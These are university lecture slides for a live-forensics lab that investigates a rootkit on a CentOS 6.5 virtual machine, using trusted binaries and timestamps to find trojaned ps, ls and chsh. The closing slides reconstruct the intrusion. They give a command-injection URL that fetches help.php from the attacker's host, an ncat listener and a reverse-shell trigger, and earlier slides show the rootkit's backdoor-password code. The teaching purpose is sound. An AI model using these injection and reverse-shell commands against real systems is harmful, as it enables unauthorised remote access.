Michael Sonntag

Institute of Networks and Security

Johannes Kepler University Linz, Austria

michael.sonntag@ins.jku.at

Live-Forensik: Rootkit

1

2

Scenario

Investigating an image of a Linux system (CentOS 6.5) infected by a rootkit

We will use live acquisition of data to gather information on this system

— Simulated, i.e. we will produce a local file with the output

• In reality this should be sent by netcat (nc) to a different computer to prevent

modifications of the system under investigation!

We will use various techniques to identify the problem

The virtual machine is a VMWare image

— Can also be opened in Virtualbox

Under /mnt/cdrom there is the script “investigate.sh”

— You can run it (“/mnt/cdrom/investigate.sh >report.txt”)

But we are going to do the same (and some elements more) manually!

4

ATTENTION!

This is part of a real rootkit, however it has been slightly modified

It is part of a very old rootkit, so it is not that good/well hidden and very limited

— Note the differences in output compared to the “real” binaries!

— It has certain limitations which renders it relatively useless on modern systems

BUT:

— It is still a real rootkit

— The source code is NOT available in the image (often it would have been compiled

there, so it might still exist, perhaps only in parts of deleted files)

— The binaries may NEVER be used anywhere else!

This is SOLELY for EDUCATIONAL USE!

5

Elements of good toolkits for live forensics

Minimize system impact

— Don’t copy anything to the disk, binaries as small as possible

Enforce the use of known binaries only

— Make sure that no library from the system investigated is used

Extensive logging and checksums

— Ensuring that no later modification can occur and that verification is possible

No drivers needed for installing ( CD-ROM better than USB!)

— Can be difficult Depends on the system investigated

• If very well secured, this might be difficult (IDS tries to prevent exactly this!)

Copies data directly to another system ( Network/Share or USB)

Not possible: No statically compiled files (too complicated);

use files on CD-ROM image for investigation

Local file (too complicated; see additional scripts for redirection example)

(apart from local log file)

6

Basic information on the image

CentOS 6.5 (=RedHat Enterprise Linux 6.5)

— Basic installation: Minimum GUI, no special applications installed (except

HTTPD/PHP/MYSQL); many things disabled

Two users are available:

— Username “user”, Password “forensics” (Normal user, no special permissions)

— Username “root”, Password “forensics” (Administrator)

• Use this for investigation: many commands won’t work/show anything otherwise!

Keyboard: German

Investigative tools: /mnt/cdrom/bin (needs to be mounted first!)

— Perhaps useful: “export PATH=/mnt/cdrom/bin” to ensure to run only “our” programs

• Note: Libraries will still be loaded from system; the tools are not statically compiled!

The image will be distributed in the class on DVDs/memory stick!

7

Importing the image

Import the image from the DVD / Memory stick / download directory

This image is the “original” system

The forensic tools (not statically compiled; see previous slide) are located on an

“external” “CD-ROM”: Forensics-CD.vdi

Necessary process:

— Import the virtual machine

— Configure the virtual machine to use the

CD image as the second HD (see →)

— Create snapshot (getting back to start)

— Start the virtual machine

— Mount the CD image (as root only!):

“mount /dev/sdb1 /mnt/cdrom -o ro”

8

What we are not investigating here

Copying RAM content

— Difficult to do, investigation is very difficult and out of scope here!

DNS cache

— Not interesting here; problematic because of fixed file location

No recovering deleted files still in use

— The rootkit doesn't use such files

9

Basic information

Generally: Try both commands - from “/mnt/cdrom/bin” as well as from the

system - and compare both results!

Date & time: “date”, “date –u”

— Documenting the start of the investigation (incl. timezone)

System: “hostname”, “uname –a”, “whoami”, “id”

— Where are we? What kind of system is this? Who are we? (Last two not on "CD"!)

Patch level: “rpm –qa”

— Normally very late, as this is unlikely to change during the investigation!

Uptime, logged in users: “w”, “who”

— Are we alone (logins form network!)?

Last logged in users: “last –a –i”

— Including from where they logged in (here not interesting, but in general useful!)

10

Package check

“rpm –Va” will compare all installed files against the packages

— Allows checking whether something has been changed

• Especially regarding the configuration

— Will NOT find any added files (e.g. configuration)!

— Attention: Comparison is against package metadata in local rpm database!

Comparison:

— Size (S), MD5 hash (5)

— Timestamps (T)

— Permissions and type (M)

— Owner (U) and group (G)

— Link (L), Device type (D)

We skip it here; VM+Laptop

takes too long …

Preview of things

to come – you

might recognize

elements later!

11

IP/firewall information

IP addresses: "ip addr"

— Nothing special: localhost, IPv4 connection

IP devices: "ip link" & IP tunnels: "ip tunnel" show the same information as above

— Take note of IP address/subnet Might be necessary for "nc" (not used here)!

Firewall configuration (iptables = standard on Linux)

— "iptables-save":

• Outgoing: No restrictions

• Input and forwarding: A few default rules

• Allowed: Local connections, ICMP (=pinging+…), Port 22 (SSH), Port 80

(Webserver)

• Note: Scenario error - The default policies should be “DROP”!

12

Network information

ARP cache: “ip neigh show”

— Useless here, as this system probably hasn’t connected anywhere

• Note: Updates, software installation … might show some other systems

• Depends also on the kind of network integration of the virtualization environment

Routing table: “ip route show table all”

— Current routes (here not very interesting; includes IPv6 routes although disabled!)

Routing cache: “ip route show cached”

— Previous routes (here not very interesting)

13

Process information

Processes: “ps aux”

— Please take care: Which “ps” are your executing?

• “/mnt/cdrom/bin/ps” or “/bin/ps” ?

— Try both and compare them: What is strange?

• Visual differences? Yes!

• Content differences? Difficult because of the visual differences

• We will come back to this later!

• Count lines: “ps aux | wc –l” and “/mnt/cdrom/bin/ps aux | wc –l”

• But: Perhaps the problem is not “ps” but “wc”? We don’t know yet!

• Which wc did you use ?

• Try “/mnt/cdrom/bin/ps aux | /mnt/cdrom/bin/wc –l”

Anyway, we have found the first strange result!

14

Processes/ports (1)

Listening: “netstat –an |more”

— Several ports are open for listening:

• UDP Port 68: BootP/DHCP (Waiting for info from DHCP server)

• Does seem normal (depends on configuration!)

• “cat /etc/sysconfig/network-scripts/ifcfg-eth0” DHCP is really used/on

• TCP Port 22: SSH server Very common to be open on most systems!

• Especially on commandline systems (otherwise: only console or telnet!)

• Is a SSH server running? “ps aux | grep ssh”

• Yes: /usr/sbin/sshd

• Is this a “real” SSH server (or trojaned Logging entered passwords)?

Who knows, we would have to investigate more and in detail!

• TCP ports 80 (webserver), 3306 (MySQL) Check if installed!

• One high port: Clock applet in Gnome

15

Processes/ports (2)

Also open: Port 12345

— This is a rather strange port: It is above 1024 and so should be a normal application

• But no such application seems to be running?

— What does Google say about port 12345?

• Legitimate: NetBus remote administration tool for Windows

• Often used for trojans, …

— This looks very suspicious!

But: We cannot get any more information out of this listing

— So we keep it in memory and try to find out more!

• Or use "netstat –anp"!

• HTTP Server; but different process ID than the one on port 80

http://www.speedguide.net/port.php?port=12345

16

Open files/ports/…

Showing all kinds of handles: “lsof –nP”

— Attention: Very long output!

So let’ focus a bit: “lsof –nP | grep 12345”

— So this is the HTTP server running there! That looks a bit strange ….

— Check whether such a server is really installed (init scripts/rpm are good starts!)

What else is going on there: “lsof –nP | grep httpd | more”

— Three servers, two running as “root”, the other as “apache”

— The first is running from the executable ”/usr/bin/httpd” and uses solely the C library

(plus the linux loader); the other from “/usr/sbin/httpd” and use a huge list of modules

— First doesn’t have any other files open (try repeatedly) beside StdIn/StdOut/StdErr

— The first one looks “fishy”, the second normal

17

Remote shell

Try telneting there: “telnet localhost 12345” and “GET / HTTP/1.0<Ret>”

— Doesn’t seem to be a webserver …

— Try “ls –al;”

This is a remote shell: If you can telnet there (firewalls!), you can issue any

command, which will be executed as root (who? Try “whoami;”!)

— Note: Must be terminated by “;”, always returns an error message (low quality SW!)

— Exiting the shell: “exit;”

This is the first part of the rootkit!

Try at home: Find out how it is started on boot

— Hint: Check all kinds of init scripts!

Note: Would this really be a problem here (=reachable from outside)?

— Hint: See slides before ("iptables-save"!)

18

Back to ps

Does “ps” show this program?

— “ps aux | grep httpd” No, but it should (at least the other HTTP server!)

Does “/mnt/cdrom/bin/ps” show this program?

— Yes it does (both/all three)!

Result: “/bin/ps” doesn’t work quite all right, it probably was modified (“trojaned”)

— We know that we cannot trust its output any more!

19

Checking file date/time

We know the file “/bin/ps” has been modified - Can we find out the date/time?

Date/times of a file: “stat /bin/ps” (Access omitted from output; always “now”)

— Modify: 15.11.2012 14:53 (compilation date)

— Change: 28.05.2014 17:59 (when the system was installed)

Compare this to the original date/times

• How would we get at this? Install a “new” one in a virtual machine and check!

— Modify: 15.11.2012 14:53

— Change: 28.5.2014 17:59

Result: Same timestamps

— The rootkit installation program changes them to the same values as the original file!

But: /usr/bin/httpd did not exist (there)! So what are the timestamps there?

— 4.11.2011 13:59 Probably the date of the rootkit installation

20

Other information (OS, file system …)

Kernel modules: “lsmod” and packages “rpm –qa”

— Not very interesting here

Mounted file systems: “mount –l”

— Nothing mounted here apart from the system ones

Free space: “df –k”

— Not interesting here

Scheduled jobs: “atq” Nothing to show here

System load: “top –bn 1”

— Note: The “httpd” server is shown here The rootkit doesn’t modify this commands

output!

21

Checking the date of the intrusion

Whet else happened on the system on 4.11.2011 13:59?

One possibility:

/mnt/cdrom/bin/find / -printf “%p;%Cx;%CT\n” | grep “11/04/2011;13:”

— Why not the exact date? We don’t know whether this was the first or last action!

— Too many results we can still narrow it down!

Also changed at about that time (apart from the directories they are in):

— /usr/bin/httpd: We already know them!

— /etc/rc.d/rc.local: That’s new! Find out for yourself what file this is …

— Directory “/rk” + some files in it

• We will come to this again later!

— Some error messages (proc filesystem)

22

/bin/ls: Hidden files

Compare the output from our “find” commando to “ls” for the root directory

— In practice this would be done by producing a full dump and automatic comparison

• “Our” find and the one from the system itself

— Here just use “ls -al /” and “find / -maxdepth 1”

Result: “ls” has been “hacked” as it hides a directory otherwise existing!

— Compare to previous slide – the suspicion there has been confirmed!

There exists the directory “/rk” which shows up in “find” but not in “ls”

— Check out its contents!

23

Rootkit files

Now we find a different date: 3.11.2011 16:40

— This could have been the time of the initial intrusion

— What happened around this time?

• Check similar as before!

Check out the individual files

— Find out what “fix” is for!

• Try “strings fix” for a first view

— Try to identify the content of the “backup” folder

— What is “ptyp” and “ptyr” there for?

• What can we learn from its content?

• These are extremely important files: They show what is hidden!

24

What is “chsh”?

Command to change the current/login shell

— SetUID, modifies /etc/passwd Very high permissions anyway

— Main reason for trojans: If you get in as some user, you can become root through this

• Drawback: You need the root password (NOT in trojaned versions!)

This version has been modified, but how?

— Try “strings chsh |more” Can you see anything interesting?

— No, the interesting parts (i.e. the “secret password”) has been hidden

• Not that well, but good enough for this simple approach

— Try the password (see next slide or the file README) – how is it to be used?

• Enter it instead of a shell name and you receive a root shell

• So to really test it, log in as “user”, check your rights with the command “id”,

“change” your shell, and check your rights again!

25

Rootkit password – Source code

/* ROOTKIT_PASSWORD must be 6 letters due to my lame attempts at string hiding... */

#define ROOTKIT_PASSWORD "rkdemo"

char MAG[6];

strcpy(MAG,"");

MAG[0]=ROOTKIT_PASSWORD[0]; MAG[1]=ROOTKIT_PASSWORD[1];

MAG[2]=ROOTKIT_PASSWORD[2]; MAG[3]=ROOTKIT_PASSWORD[3];

MAG[4]=ROOTKIT_PASSWORD[4]; MAG[5]=ROOTKIT_PASSWORD[5];

MAG[6]='\0';

Password is stored in executable as separate characters

— If you know this, you can see it clearly in the output of “strings chsh” as well!

Practice: Deassembly/Decompilation or Debugging

26

Conclusions (1)

Generally the investigation would be more difficult,

— especially for files:

• Using external tools and producing a log

• Using the internal tools and producing a log

• Comparing those files in a spreadsheet/diff/…

• Find out date/time of files at the time of intrusion (if known …)

— and binaries:

• Install a “new” version in a virtual machine

• Bring it to exactly the same patch level/software

• Compare md5 values of files in both VMs to find out which ones were modified

• Reinstall might be easier!

27

Conclusions (2)

What we didn’t find out:

— How the intrusion took place

• When it took place We have only some hints, but which are quite good

• See slides afterwards for some hints on this!

— What the attacker was after (but: no interesting content here anyway )

— Complete list of changes: Have we really found everything?

• Probably yes, but some parts might also have been hidden better!

Michael Sonntag

Institute of Networks and Security

Johannes Kepler University Linz, Austria

michael.sonntag@ins.jku.at

Thank you for your attention!

28

30

Intrusion

There exists a web vulnerability in /var/www/html/bsp5/download.php

— Which is a helper file for streaming data (=a file) to a client

Through this the user (up/down)loaded a file to the server: help.php

— wget <IP of attacked system>/bsp5/download.php?command=c;$(/usr/bin/wget

http://<IP of attacking system>/help.php)

• Note: “$(“ and “)” are necessary, or wget + URL will be seen as a single

command, which can obviously not be found as a file!

— This is a reverse shell (=connect back out)

• Listening on the attacking computer: ncat –v –n –l –p 2222

• Requesting the following URL will trigger it:

http://<IP of attacked system>/bsp5/help.php?ip=<IP of attacking system>

— Through this shell the rest of the attacks could easily have been downloaded,

unpacked, installed etc!

31

Intrusion

Notes for testing:

— Disable windows firewall this is an incoming connection!

— Host-Only network example: PC=192.168.56.101, VM=192.168.56.102

— Requires a web server on the PC with the help.php file for downloading

— URL “retrieved”: http://192.168.56.102/bsp5/help.php?ip=192.168.56.101

Result: — Y:\>ncat -vv -n -l -p 2222

— Ncat: Version 5.59BETA1 ( http://nmap.org/ncat )

— Ncat: Listening on 0.0.0.0:2222

— Ncat: Connection from 192.168.56.102:34742.

— Linux forensics 2.6.32-431.17.1.el6.i686 #1 SMP Wed May 7 20:52:21 UTC 2014 i686

— i686 i386 GNU/Linux

— 13:31:08 up 1:52, 3 users, load average: 6.64, 6.51, 4.66

— USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT

— user tty1 :0 12:33 1:52m 13.78s 0.02s pam: gdm-passwo

— user pts/0 :0.0 12:56 2:13 20:07 2.42s gnome-terminal

— user pts/1 :0.0 13:06 7:31 0.03s 2.42s gnome-terminal

— uid=48(apache) gid=48(apache) groups=48(apache)

— sh: no job control in this shell

— ←[?1034hsh-4.1$

32

Intrusion

Detection of the intrusion:

— Web log /var/log/httpd/access_log:

• 127.0.0.1 - - [03/Nov/2011:16:30:03 +0200] "GET

/bsp5/download.php?command=c HTTP/1.0" 200 - "-" "Wget/1.12 (linux-gnu)"

• Note: The second part of the command (after “;”) is not logged!

• 127.0.0.1 - - [03/Nov/2011:16:39:15 +0200] "GET

/bsp5/help.php?ip=192.168.56.101 HTTP/1.0" 200 84 "-" "Wget/1.12 (linux-gnu

• Note: Here we get the IP address of the attacker!

— If the attacker had deleted these, it would have been impossible to find

• Apart from detecting the vulnerability or finding the file “help.php”

Still missing: Escalation of how to get from “apache” to “root” to be able to install

the rootkit!

33

Timeline

File /var/www/html/bsp5/help.php created: 3.11.2011 16:30:03

Download of rootkit : 3.11.2011 16:39:15

Rootkit installation (=unzip/copy there) time: 3.11.2011 16:40:25

Rootkit files installed: 4.11.2011 13:59:32